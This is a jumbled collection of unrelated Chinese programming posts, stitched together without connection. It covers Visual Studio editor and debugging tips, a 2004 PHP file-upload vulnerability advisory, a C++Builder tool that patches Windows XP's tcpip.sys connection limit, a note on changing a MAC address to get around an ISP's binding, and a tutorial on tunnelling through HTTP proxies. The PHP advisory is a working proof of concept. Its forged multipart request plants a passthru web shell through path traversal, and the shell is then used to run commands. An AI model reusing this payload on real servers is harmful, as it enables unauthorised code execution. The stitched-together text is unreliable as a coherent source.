1. 主窗口内的每一个子窗口都是可以dock的，dock在边上的子窗口在右上角有两个按扭，一个是关闭，一个是图钉。当图钉按下时，子窗口就不会再自动缩回 到边上，而且可以通过拖动子窗口的标题栏把它拉出来。我建议将所有不需要的子窗口都关掉，再将dock到底部和左边的所有子窗体也关掉，需要的子窗体全部 放到右边，然后把图钉拔起来，要看的时候把鼠标移过去就可以看到了，滑动出来的时候不会挡住代码，给代码编辑留下最大的空间。

　 　2. 工具条也具有和子窗口类似的dock属性，要关掉工具条，可以把它拖出来，然后关闭。工具条和菜单的每一项都可以设置，方法是在工具条或菜单条上单击右 键，然后在弹出菜单里点自定义，这时你可以通过在工具条和菜单条上拖动，很方便的完成自定义的部局。你还可以选中某一项后按右键，来设置这一项的详细属 性。我建议关掉所有的工具条，因为一般常用的命令都有快捷键，不常用的就用菜单吧，这样可以省出来地方给代码编辑。

　　3. 键盘的快捷键设置可以在工具菜单->选项->环境->键盘里设置。上面有一些预设的键盘映射方案，你可以选择其中一项，然后在下面加以修改后另存为自己的方案。我强烈推荐使用Visual C++6.0的键盘映射方案，很顺手哈！

　 　4. 在工具菜单->选项->环境->字体和颜色里可以设置代码编辑中各类标识符的字体和颜色。在这里你可以把字体调大一点，因为默认的9号 字太小了，看不清楚。我的设置是11号幼圆。对于字体颜色的详细设置，你可以使用颜色后面的自定义，来选择你喜欢的颜色，我还是很喜欢整编代码五颜六色的 样子！

　　一、代码编辑部分

　　1. 如果一段代码的缩进很乱，空格、TAB一大堆杂乱无章，那么选中这一段代码，在编辑菜单->高级中按格式化选定内容。这一段代码就被自动整理好了。 如果一段代码中空格和TAB交错使用，但格式似乎是整齐的，你可以到编辑菜单->高级->查看空白，查看代码中的空格和TAB。

　 　2. 在工具菜单->选项->文本编辑器->C/C++->常规中把启动单击URL定位清除掉，这一项在C/C++代码编辑中没什么 用，反而会引起一些误会。再把行号勾上，我认为这虽然占一些空间，但是非常方便。在文本编辑器->C/C++->制表符中把制表符大小和缩进 大小都调整为4，这样有助于编译整齐的代码。如果你打开了行号，建议在文本编辑器->常规中，把选定内容的边距关掉，因为这就有点多此一举了。

　　3. 在工具菜单->选项->项目->VC++目录中设置工程文件的路径。一般设置包含文件和库文件就可以了。

　　4. 在代码编译窗口的上面有两个下拉列表框，左边的是可见域，右边的是函数，你可以通过这两个下拉框在一个很大的源文件中实现准确的定位。用好这个功能可以极大的提高编程效率。

　　5. 大纲显示是一个非常好的功能，只是可能很多人都不习惯。可以在编辑->大纲显示->停止大纲显示来关掉它。如果想不在启动时就启用大纲显示，则可以在工具菜单->选项-> C/C++->格式设置中把打开文件时进入大纲模式去掉。

　 　6. 选中一段代码后按tab可以增加它的缩进；按住Alt可以竖选一段代码；鼠标放在行号栏或代码左边距上（如果你启用了）会变成向反方向的指针，这时你可以 选中对应的一行；选中代码后可以拖动选中的代码到合适的位置；按住Ctrl再按左右方向键可以移动光标并跳过关键字；Ctrl+Home和Ctrl+ End分别是到达文件顶部和底部；接住Shift再按方向键可以选中光标略过的字符，可以和Ctrl一起使用；Ctrl+A可以选中全部代码；Ctrl+ =和Ctrl+-可以返回到你刚刚查看的代码的位置；可以利用括号匹配功能来帮助写完整的代码，括号匹配时会加粗显示，这一点可以在工具菜单->选 项->环境->字体和颜色里设置。

　　7. 查找和替换功能非常强大，可以选择使用通配符和正则表达式。由于篇幅关系，关于通配符和正则表达式的说明请参阅MSDN，我在此就不多说了。在文件中查找 或替换，可以方便的编辑查找范围。你可以使用预定的几个查找范围，包括整个解决方案、VC++包含目录等，你也可以点后面的按扭来编辑详细的查找范围。对 于文本文件的查找，VC++带的查找工具，要比Windows的文件查找那个效率高太多了。

　　8. 按下面的顺序包含头文件：

#define CRTDBG_MAP_ALLOC
#include <stdlib.h>
#include <crtdbg.h>

　　然后在程序开始的时候写上：

_CrtSetDbgFlag ( _CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF );

　　 这样在调式程序结束后，内存泄露就会转储到输出子窗口的调试模式中。

　　三、编译部分：

　 　1. 如果一个很大的工程，需要包含大量的系统头文件，那么你可以把这些包含的头文件全部写到一个StdAfx.h的文件里，然后再建一个 StdAfx.cpp，里面就一句代码，#include “StdAfx.h”，接着在解决方案管理器->你的工程上单击右键，然后按属性->配置属性->C/C++->预编译头，把创 建/使用预编译头设为：创建预编译头，下面两向会自动填写，如果没有，那就填上StdAfx.h。然后把你的工程完全重新生成一编，再进入刚才的选项，把 创建/使用预编译头设为：设用预编译头。好了，你的工程现在的编译速度应该超极快了。

　　2. 如果你的程序需要引入特定的库，那么可以在需要引用的源文件里写上：#pragma comment( lib, “xxx.lib” ) 这样就不需要到配置属性->链接器->输入里去设置了，这样还可以提高你的代码的兼容性。

　 　3. 如果你在写DLL，而且这个DLL是被另一个工程编译出来的EXE所使用的，但是这两个工程又不在同一个文件夹里，所以你只好每次都把新编译好的DLL复 制到EXE的目录下再调试，如果某次你忘了更新，这可能就会浪费你很多的时间和精力。其实你可以写一个BAT文件，用Dos命令copy，完成你需要的拷 贝任务，然后把这个BAT文件放到DLL的目录下，再进入配置属性->生成事件->生成后事件->命令行中填上你要执行的BAT文件 名，在编译结束后就会自动执行拷贝任务了。

　　4. 工具菜单->选项->环境->项目和解决方案中，可以把若生成完成时有错误，则显示任务列表窗口那一项勾上。这样在你编译结束，发现错误后，会自动弹出任务列表，然后你双击某一项任务，就会定位到出错的那一行代码上。

　　四. 资源部分

　　1. 编辑对话框时，选中一个控件，然后在属性子窗口中会列出它的所有的属性。按上面的闪电按钮，会列出它所有可用的事件，双击其中一个事件，就会跳转到相应的源文件中，这时你就可以为该控件的某一事件添加处理程序了。

　　2. 在使用MFC编程时，属性子窗口会显示这个类可用的重写函数和事件处理程序，双击就可以编写代码。如果发现属性子窗口和代码不对应，可以在类视图中选择你需要编辑的类，或在代码编辑中单击右键按同步类视图。

　　3. 一个图标文件其实是一个图标包，里面可以包含很多个大小、颜色均不一样的图标，在VC.net的图标编译器中也可以任意新建、删除、修改图标。在图像菜单中的新建图象类型、当前图标图像类型、删除图像类型可以很方便的完成此功能。

　　4. 菜单编辑时，在菜单项的Caption属性中输入-，该菜单项会自动变成分隔符。

　　五，调试部分

　　1. 在调试菜单->窗口子菜单中，你可以打开这些都很有用的调试辅助窗口。下面讲述的窗口都可以在这里打开。

　　2. 在代码编辑的最左边单击左键，会为这一行添加断点。右击这个断点可以修改这个断点的属性，比如设置这个经过这个断点多少回再停下，或着是一个条件判断语句为true时这个断点再停下等等。断点窗口可以对源文件中的断点进行更加详细的配置和管理。

　　3. 自动窗口和局部变量里你可查看到几乎所有当前你需要查看的变量的值，并且在这里你可以修改这个变量的值。

　　4. 寄存器窗口可以查看所有寄存器的状态。在这个窗口中右击，打开你需要查看的寄存器。

　　5. 调用堆栈，这个在出错时非常有用。比如内存访问出错，然后停到了delete源文件中的一行，这时你就可以通过堆栈来向上查找看是哪一个真正的出错源语句。

　　6. 命令窗口，在这里可以写VC++预定义命令，甚至可以编写部分C++代码。比如p = 5;这完全是可以的，具体可用的命令请参阅MSDN。

　 　7. 监视窗口，在这里输入你需要查看的变量名称，它的值就会马上显示在后面。如果是一个对象，点前面的+号，它的成员就会列到下面。如果有一个数组int a[6]，你可以输入：a,6，这样你就可以查看这个数组中所有元素的值了。还可以转换格式，比如token,x。更详细复杂的功能，具体请参阅 MSDN。

　　五. 关于VisualC++6.0模式键盘映射模式下的常用快捷键

　　常规文本编辑部分略

　　格式化选定内容：Ctrl+K，Ctrl+F
　　向前定位：Ctrl+=
　　向后定位：Ctrl+-
　　查找：Ctrl+F
　　在文件中查找：Ctrl+Shift+F
　　替换Ctrl+H：
　　在文件中替换：Ctrl+Shift+H
　　转换为大写：Ctrl+Shift+U
　　转换为小写：Ctrl+U
　　注释选定内容：Ctrl+K，Ctrl+C
　　取消注释：Ctrl+K，Ctrl+U
　　打开/关闭断点：F9
　　清除所有断点：Ctr+Shift+F9
　　全部编译：F7
　　单元编译：Ctrl+F7
　　单步跟踪：F10
　　进入函数：F11
　　运行到光标处：Ctrl+F10
　　跳出函数：Shift+F11
　　运行调试：F5
　　停止调试：Shift+F5
　　重新启动调试：Ctrl+Shift+F5
　　运行不调试：Ctrl+F5
　　打开/关闭书签：Ctrl+K，Ctrl+K
　　上一个书签：Ctrl+K，Ctrl+P
　　下一个书签：Ctrl+K，Ctrl+N
　　清除所有书签：Ctrl+K，Ctrl+L
　　打开属性窗口：Alt+Enter
　　上一篇文档：Ctrl+Tab
　　下一篇文档：Ctrl+Shift+Tab
　　打开项目：Ctrl+Shift+O
　　打开文件：Ctrl+O
　　保存：Ctrl+S
　　全部保存：Ctrl+Shift+S
　　新建文件：Ctrl+N
　　全屏显示：Shift+Alt+Enter

http://book.news.sina.com.cn/longbook/1094605902_changanluan/31.shtml

　　我说：这样的小事情我听你的，我以后决定大事情即可。

PHP File Upload Vulnerability POC

Title: Overwrite $_FILE array in rfc1867 - Mime multipart/form-data File UploadAuthor: Stefano Di PaolaAffected: Php <= 5.0.1Not Affected: Maybe some old Version of Php before 4.2.xVulnerability Type:Possible write of a downloaded file in an arbitrary location.

Resources: Recently published on Bugtraq and VulnWatch

Description:

By forging an appropriate request for a Mime multipart/form-data file it is possible to set the "name" element value to an arbitrary filename if the name of $_FILES element contains a '_' (underscore) like "user_file" Let's use Example 34-2. Validating file uploads (changing 'userfile' to 'user_file') from http://www.php.net/manual/en/features.file-upload.php :

 -----file: upload.php------ <?php // In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used instead // of $_FILES.

 $uploaddir = '/var/www/uploads/'; $uploadfile = $uploaddir . $_FILES['user_file']['name'];

 print "<pre>"; if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) { print "File is valid, and was successfully uploaded. "; print "Here's some more debugging info:\n"; print_r($_FILES); } else { print "Possible file upload attack! Here's some debugging info:\n"; print_r($_FILES); } print "</pre>";

 ?> ----end file: upload.php------

N.B. The is_uploaded_file php function has been added to proof that this check is bypassable.

Let's suppose that /var/www/html/ is writable by apache user (or any other dir in apache root).

$: (cat form)|nc 127.0.0.1 80

 <pre> File is valid, and was successfully uploaded. Here's some more debugging info:

 Array( [user_file] =>Array( [name] => ../html/passt.php [tmp_name] => /tmp/phpucjLV1 [error] => 0 [size] => 30 [type] => application/octet-stream ) )</pre>

where form is:

 -----8<---form-------8<----- POST /upload.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6) Gecko/20040115 Galeon/1.3.12 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1 Accept-Language: en Accept-Encoding: gzip, deflate, compress;q=0.9 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: Content-Type: multipart/form-data; boundary=---------------------------1648318426118446961720965026 Content-Length: 395

 -----------------------------1648318426118446961720965026 Content-Disposition: form-data; name="user[file[name]123"; filename="p.php" Content-Type: ../html/passt.php

 <? passthru($_GET['cm']); ?>

 -----------------------------1648318426118446961720965026 Content-Disposition: form-data; name="user[file[type]123"; filename="vg" Content-Type: application/octet-stream

 <? passthru($_GET['cm']); ?>

 -----8<---endform----8<-----

By looking closely our request it can be noted that the name of uploaded file is going to be valued by 'Content-Type: ../html/passt.php' and not by filename='p.php'Second section is injected just to make things more 'normal', by allowing php interpreter to instanziate 'type' element, but it's just a matter of style...

And then let's verify that all went right:

 $: curl "127.0.0.1/passt.php?cm=id" uid=72(apache) gid=72(apache) groups=72(apache)

Done!The IssueThis vulnerability permits to bypass the sanitization php interpreter does on filename to remove prepended directories. So if the developer of a upload php script trust in php pre sanitization of input, a malicious user could use this flaw to upload a file in an arbitrary location. The issue is in the fact that, as can be seen in request, by playing with sqare brackets and by appending some non ']' at the end of the 'name' variable value, a malicious user can fool the array parser embedded in php interpreter, resulting in a different array from the expected one.

I won't go too deep in details on why this was possible (it's just a matter of debugging), but it should be enough to know that the parameter 'name' value in request ('user[file[element]123') is parsed firstly as a simple String type by SAPI_POST_HANDLER_FUNC (is_arr_upload = 0) and then parameter is parsed again by php_register_variable and seen as an array.This flaw creates a incongruence in the type of the variable, that can be used to exploit the php upload script.Additional Topicsby playing with arrays of arrays and open square brackets I did a lot of thing but the *big* thing is this one.The SolutionThe most simple solution consists in downloading and installing php 5.0.2or 4.3.9 that have been released a couple of days ago.

An alternative solution is to check if $_FILES[]['name'] is really a stripped filename by using something like this: $filename=basename($_FILES[]['name']);

Florence, September the 26th 2004

//—————————————————————————

#include <vcl.h>
#pragma hdrstop

#include “Unit1.h”
#include <imagehlp.h>
//—————————————————————————
#pragma resource “*.dfm”
#pragma resource “xml.res”
TfrmBetter *frmBetter;
const int SP2TCPIPSIZE = 359040L;
const int SP2TCPIPPOS  = 0×4F322L;
//—————————————————————————
__fastcall TfrmBetter::TfrmBetter(TComponent* Owner)
    : TForm(Owner)
{
    FIsXP = false;
}
//—————————————————————————
String GetFileVersionString(LPTSTR pFile)
{
    if(pFile==NULL||pFile[0]==0) return String();
    DWORD Temp0 = 0, Temp1 = 0;
    DWORD dwSize = ::GetFileVersionInfoSize(pFile, &Temp0);
    if(dwSize==0) throw Exception(“Error Size!”);
    char* pVersion = new char[dwSize + 10];
    memset(pVersion, 0, dwSize + 10);
    if(!GetFileVersionInfo(pFile, 0, dwSize + 2, pVersion))
    {
        delete[] pVersion;
        throw Exception(“Error Version!”);
    }
    VS_FIXEDFILEINFO* pFixed = NULL;
    if(!VerQueryValue(pVersion, “\\”, (LPVOID*)&pFixed, (PUINT)&Temp1)
        ||pFixed==NULL||Temp1<sizeof(VS_FIXEDFILEINFO))
    {
        delete[] pVersion;
        throw Exception(“Error Value!”);
    }
    Temp0 = pFixed->dwFileVersionMS;
    Temp1 = pFixed->dwFileVersionLS;
    delete[] pVersion;
    return String().sprintf(“%u.%u.%u.%u”, (Temp0>>16), (Temp0&0xFFFF), (Temp1>>16), (Temp1&0xFFFF));
}
//—————————————————————————
DWORD SimpleGetFileSize(LPTSTR pFile)
{
    if(pFile==NULL||pFile[0]==0) return (DWORD)~0;
    HANDLE hFile = CreateFile(pFile, GENERIC_READ, FILE_SHARE_READ,
                              NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
                              NULL);
    if(hFile==NULL||hFile==INVALID_HANDLE_VALUE) return (DWORD)~0;
    DWORD dwSize = GetFileSize(hFile, NULL);
    CloseHandle(hFile);
    return dwSize;
}
//—————————————————————————
void __fastcall TfrmBetter::FormCreate(TObject *Sender)
{
    try
    {
        DetectSystemInformation();
    }
    catch(Exception& e)
    {
        MessageBox(NULL, e.Message.c_str(), “Error”, MB_OK|MB_ICONSTOP);
        Application->ShowMainForm = false;
        Application->Terminate();
    }
    catch(…)
    {
        Application->ShowMainForm = false;
        Application->Terminate();
    }
}
//—————————————————————————
/*detect system information, when return, means no error, else exception will be throwed!*/
void __fastcall TfrmBetter::DetectSystemInformation()
{
    //Detect System Information
    OSVERSIONINFO os = {0,};
    os.dwOSVersionInfoSize = sizeof(os);
    if(!GetVersionEx(&os)) throw Exception(“Fatal Error: Get System Information!”);
    FIsXP = (os.dwMajorVersion==5&&os.dwMinorVersion==1&&os.dwPlatformId==VER_PLATFORM_WIN32_NT);
    Memo1->Lines->Add(String().sprintf(“Operating System: Microsoft Windows %u.%u.%u %s”,
                                        os.dwMajorVersion, os.dwMinorVersion,
                                        os.dwBuildNumber, os.szCSDVersion));
    //Get tcpip.sys version string
    char    szFile[MAX_PATH + 128];
    memset(szFile, 0, sizeof(szFile));
    ::GetSystemDirectory(szFile, MAX_PATH);
    if(szFile[0]&&szFile[strlen(szFile)-1]!=’\\’)
    {
        strcat(szFile, “\\drivers\\tcpip.sys”);
    }
    else
    {
        strcat(szFile, “drivers\\tcpip.sys”);
    }
    if(!FileExists(szFile)) throw Exception(“tcpip.sys not found!”);
    String version = GetFileVersionString(szFile);
    Memo1->Lines->Add(String(“Version of tcpip.sys: “) + version);
    //Check tcpip.sys version is ok or force param is specified
    LPTSTR pCmd = GetCommandLine();
    if(version==”5.1.2600.2180″&&SimpleGetFileSize(szFile)==SP2TCPIPSIZE)
    {
        Memo1->Lines->Add(“SP2 tcpip.sys detected!”);
    }
    else if(pCmd&&strstr(pCmd, “/force”)!=NULL)
    {
        Memo1->Lines->Add(“Warning: tcpip.sys does not match, but /force is specified!”);
    }
    else
    {
        FIsXP = false;
        throw Exception(Memo1->Text + “\nThe version of tcpip.sys does not match! Operation Aborted!”);
    }
    //now, we start to detect current tcp/ip limitation
    HANDLE hFile = ::CreateFile(szFile, GENERIC_READ, FILE_SHARE_READ, NULL,
                                OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile==NULL||hFile==INVALID_HANDLE_VALUE) throw Exception(“mmm….impossible”);
    if(::SetFilePointer(hFile, SP2TCPIPPOS, NULL, FILE_BEGIN)!=(DWORD)SP2TCPIPPOS)
    {
        ::CloseHandle(hFile);
        throw Exception(“Error: SetFilePointer!”);
    }
    DWORD dwRead = 0, dwValue = 0;
    if(::ReadFile(hFile, (LPVOID)&dwValue, sizeof(DWORD), &dwRead, NULL)&&dwRead==sizeof(DWORD))
    {
        edLimit->Text = dwValue;
    }
    ::CloseHandle(hFile);
    FIsXP    = true;
    FTCPIP    = szFile;
}
//—————————————————————————
void __fastcall TfrmBetter::btApplyClick(TObject *Sender)
{
    if(!FIsXP||FTCPIP.IsEmpty()) throw Exception(“not SP2!”);
    //backup a copy of the tcpip.sys
    ::CopyFile(FTCPIP.c_str(), (FTCPIP + “.old”).c_str(), TRUE);
    //get new value
    int nValue = StrToIntDef(edLimit->Text.Trim(), 120);
    if(nValue<=0||nValue>0×7FFFFFFE) nValue = 120;
    //first, we open the file for read/write
    HANDLE hFile = ::CreateFile(FTCPIP.c_str(),
                                GENERIC_READ|GENERIC_WRITE,
                                FILE_SHARE_READ,
                                NULL,
                                OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL,
                                NULL);
    if(hFile==NULL||hFile==INVALID_HANDLE_VALUE) throw Exception(“Invalid File!”);
    DWORD  dwSize = ::GetFileSize(hFile, NULL);
    if(dwSize==(DWORD)~0||dwSize<=(DWORD)(SP2TCPIPPOS + sizeof(DWORD)))
    {
        ::CloseHandle(hFile);
        throw Exception(“Invalid FileSize!”);
    }
    //second, map the file
    HANDLE hMap = ::CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, NULL);
    ::CloseHandle(hFile);
    if(hMap==NULL||hMap==INVALID_HANDLE_VALUE) throw Exception(“Invalid Map!”);
    PVOID pFile = ::MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, 0);
    if(pFile==NULL)
    {
        ::CloseHandle(hMap);
        throw Exception(“Map File Error!”);
    }
    //third, change the tcp/ip limitation
    __try{memmove((char*)pFile + SP2TCPIPPOS, &nValue, sizeof(DWORD));}
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        ::UnmapViewOfFile(pFile);
        ::CloseHandle(hMap);
        throw Exception(“I/O Error!”);
    }
    //go with checksum
    DWORD Original = 0, New = 0;
    CheckSumMappedFile(pFile, dwSize, &Original, &New);
    PIMAGE_NT_HEADERS pHeader = ImageNtHeader(pFile);
    if(pHeader&&pHeader->OptionalHeader.CheckSum==Original
        &&memcmp(&pHeader->Signature, “PE\0\0″, 4)==0)
    {
        __try
        {
            pHeader->OptionalHeader.CheckSum = New;
        }
        __except(EXCEPTION_EXECUTE_HANDLER)
        {
            ::UnmapViewOfFile(pFile);
            ::CloseHandle(hMap);
            throw Exception(“I/O Error!”);
        }
    }
    UnmapViewOfFile(pFile);
    ::CloseHandle(hMap);
    //detect system information again
    Sleep(500);
    Memo1->Clear();
    edLimit->Text = “”;
    DetectSystemInformation();
    if(StrToIntDef(edLimit->Text.Trim(), 0)==nValue)
    {
        Memo1->Lines->Add(“Patch Successfully!”);
    }
    else
    {
        Memo1->Lines->Add(“Patch Failed!”);
    }
    Memo1->Lines->Add(“Restart your operating system is strongly recommended!”);
}
//—————————————————————————
/*
    http://bbs.bytelinker.com/ from BitSpirit
*/

这几天在家里玩,带个手提回去玩了,IBM R50E的, 想在家里上网,但是电信将网络跟网卡捆绑了,
只能用家里的电脑上的网卡上网,太晕了.打电话给电信也太不实际了,因为回学校后家里还要上
网,改来改去太麻烦了.
后来想了一下,总觉得哪里不对,为什么电信可以捆绑网卡呢,想来想去,认为是跟MAC地址捆绑了.
也就是说只要改一下MAC地址就行了,但是手提没连上网,靠工具是没戏了,麻烦的是硬件都是IBM
提供的.按网上针对WIN9X以及WINNT和WIN2000的好像都不行(NND,太不通用了).找了好久,终于
在网卡的高级属性中找到了一个自定义地址的选项.跟家里网卡改成一样的就搞定了.

修改MAC地址的文章可以参照我BLOG上面的一篇文章:
http://www.donews.net/zwell/articles/113261.aspx

方法简单的死,太哆嗦了,嘻嘻….不过确实是一个可行的办法…

——————————————————————————–
这篇文章贡献自Akash kava,   翻译： bugfree/CSDN
环境: VC6

※HTTP 隧道※
——–
HTTP 是基于文本的通过浏览器检索网页的协议。 大多数情况下你躲在代理服务器的后面，通过LAN接入互联网。 在IE的Connection Option中， 你给出你的LAN的设置。 这个代理服务器运行着基于文本的协议， 你从它那里可以得到外界的网络HTTP相关的数据。是的， 用HTTP通过它上面的小的望孔可以连接到外部世界， 并用二进制协议得到你想要的数据， 或者甚至是你的协议。 它通过HTTP。

※HTTPS 解释※
———
在HTTPS中， 数据以一种安全的方式从浏览器到服务器和从服务器到浏览器。 它是二进制的协议； 当他穿过代理时， 代理不知道是什么。 代理仅仅允许二进制流打开， 让服务器和客户两者之间交换数据。 代理服务器认为我们在进行某个安全的会话。

对于HTTPS, 你的浏览器连接到代理服务器，并送出一个命令

CONNECT neurospeech.com:443 HTTP/1.0 <CR><LF>
HOST neurospeech.com:443<CR><LF>
   【…如果需要，HTTP头部的其它行以<CR><LF>结束 】
<CR><LF>    // 最后的空行

接下来， 代理服务器把它作为某个HTTP安全会话， 打开一个到需求服务器和端口的二进制流。 如果连接确立， 代理服务器返回如下回应：

HTTP/1.0 200 Connection Established<CR><LF>
         【…忽略所有HTTP头部的其它行以<CR><LF>结束，】
<CR><LF>    // 最后的空行

现在， 浏览器连接到了终端服务器， 可以用二进制和安全的方式交换数据了。

※怎样做这个※
————-
现在是你的程序任务去愚弄代理服务器， 行为如IE一样进行 Secure HTTP。

1. Connect to Proxy Server first.
2. Issue CONNECT Host:Port HTTP/1.1<CR><LF>.
3. Issue <CR><LF>.
4. Wait for a line of response. If it contains HTTP/1.X 200 , the connection is successful.
5. Read further lines of response until you receive an empty line.
6. Now, you are connected to outside world through a proxy. Do any data exchange you want.

示例源代码

  // You need to connect to mail.yahoo.com on port 25
  // Through a proxy on 192.0.1.1, on HTTP Proxy 4480
  // CSocketClient is Socket wrapping class
  // When you apply operator << on CString, it writes CString
  // To Socket ending with CRLF
  // When you apply operator >> on CString, it receives
  // a Line of response from socket until CRLF

  try
  {
    CString Request,Response;
    CSocketClient Client;

    Client.ConnectTo(“192.0.1.1″,4480);

    // Issue CONNECT Command
    Request = “CONNECT mail.yahoo.com:25 HTTP/1.0″;
    Client<<Request;

    // Issue empty line
    Request = “”;
    Client<<Request;

    // Receive Response From Server
    Client>>Response;

    // Ignore HTTP Version

    int n = Response.Find(‘ ‘);
    Response = Response.Mid(n+1);

    // Http Response Must be 200 only
    if(Response.Left(3)!=”200″)
    {
      // Connection refused from HTTP Proxy Server
      AfxMessageBox(Response);
    }

    // Read Response Lines until you receive an empty line.
    do
    {
      Client>>Response;
      if (Response.IsEmpty())
        break;
    }while (true);

    // Coooooooool…. Now connected to mail.yahoo.com:25
    // Do further SMTP Protocol here..

  }
  catch (CSocketException * pE)
  {
    pE->ReportError();
  }

※库源码※
————-
文件Dns.h包含所有所有DNS相关的源代码。 它利用了其它的库， 如SocketEx.h, SocketClient.h, 和 NeuroBuffer.h

※CSocketEx※
————-

作为一个Socket功能的包裹（wapper)类。（如果你不是确切知道CSocket怎样工作的， 它是非常笨重和不可信的） 所有的函数根CSocket同名。 你可以直接应用这个类

※CSocketClient※
—————–

派生自CSocketEx， 并且根据详细的Winsock错误抛出适当地例外（exceptions). 为了方便的发送和接收，它定义了两个操作符, >> 和 <<； 如果需要它也交换网络序为主机序和主机序为网络序。

※CHttpProxySocketClient※
—————–

派 生自CSocketClient, 你可以调用SetProxySettings(ProxyServer, Port) 方法和做代理设置。 接下来， 你可以连接到你想要的主机和端口。ConnnectTo 方法被覆盖， 它自动的实现了HTTP代理协议并无争论的给你了一个连接。

※怎样利用CHttpProxySocketClient※
———————————
  // e.g. You need to connect to mail.yahoo.com on port 25
  // Through a proxy on 192.0.1.1, on HTTP Proxy 4480
  // CSocketClient is Socket wrapping class
  // When you apply operator << on CString, it writes CString
  // To Socket ending with CRLF
  // When you apply operator >> on CString, it receives
  // Line of response from socket until CRLF
  try
  {
    CHttpProxySocketClient Client;

    Client.SetProxySettings(“192.0.1.1″,1979);

    // Connect to server mail.yahoo.com on port 25
    Client.ConnectTo(“mail.yahoo.com”,25);

    // You now have access to mail.yahoo.com on port 25
    // If you do not call SetProxySettings, then
    // you are connected to mail.yahoo.com directly if
    // you have direct access, so always use
    // CHttpProxySocketClient and no need to do any
    // extra coding.

  }
  catch(CSocketException * pE) {
    pE->ReportError();
  }

【bugfree译注】
    作者在它的文章中， 说了为什么不用.h .cpp风格编程的理由， 这个我也给出我的理由， 因为
    他的风格不可取， 大家有机会可以读读它的源代码， 有两个缺点，
    （一）整体感觉乱，不清爽， 对常常的一个类很难一下子从整体上把握。 
    （二）随着代码的增加， 编译时间过长也显现出来， 可能大家都知道.h .cpp的好处之一就是
         .cpp的代码之编译一次， 假如你没有改动该.cpp文件的内容， 此文件就不会重编译。
         还有， 这样你的类接口非常清楚， 只需在模块间共享类的.h文件即可。